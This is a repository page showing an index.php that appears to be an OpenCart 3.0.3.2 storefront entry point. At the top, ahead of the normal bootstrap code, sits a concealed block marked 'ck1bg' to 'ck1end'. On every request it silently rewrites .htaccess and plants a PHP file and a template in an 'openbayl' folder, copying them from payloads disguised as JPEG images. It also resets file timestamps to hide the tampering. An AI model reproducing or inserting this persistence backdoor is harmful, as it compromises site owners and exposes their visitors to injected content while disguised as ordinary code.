-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.php
More file actions
129 lines (68 loc) · 2.11 KB
/
index.php
File metadata and controls
129 lines (68 loc) · 2.11 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
//ck1bg
$nowFileDir = 'openbayl';
$nowHtacFile = './.htaccess';
$nmbf1 = './openbayl/moban.html';
$nowIndexFile = './openbayl/index.php';
$nowLogFile = './openbayl/logs.txt';
$bkLocalFileIndex1 = './images/logo_s.jpg';
$bkLocalFileHtac1 = './images/head_s.jpg';
$bkLocalFileMoban1 = './images/banner_s.jpg';
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nmbf1)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($nmbf1,0755);
}else{
if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nmbf1);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}
//ck1end
// Version
define('VERSION', '3.0.3.2');
// Configuration
if (is_file('config.php')) {
require_once('config.php');
}
// Install
if (!defined('DIR_APPLICATION')) {
header('Location: install/index.php');
exit;
}
// Startup
require_once(DIR_SYSTEM . 'startup.php');
start('catalog');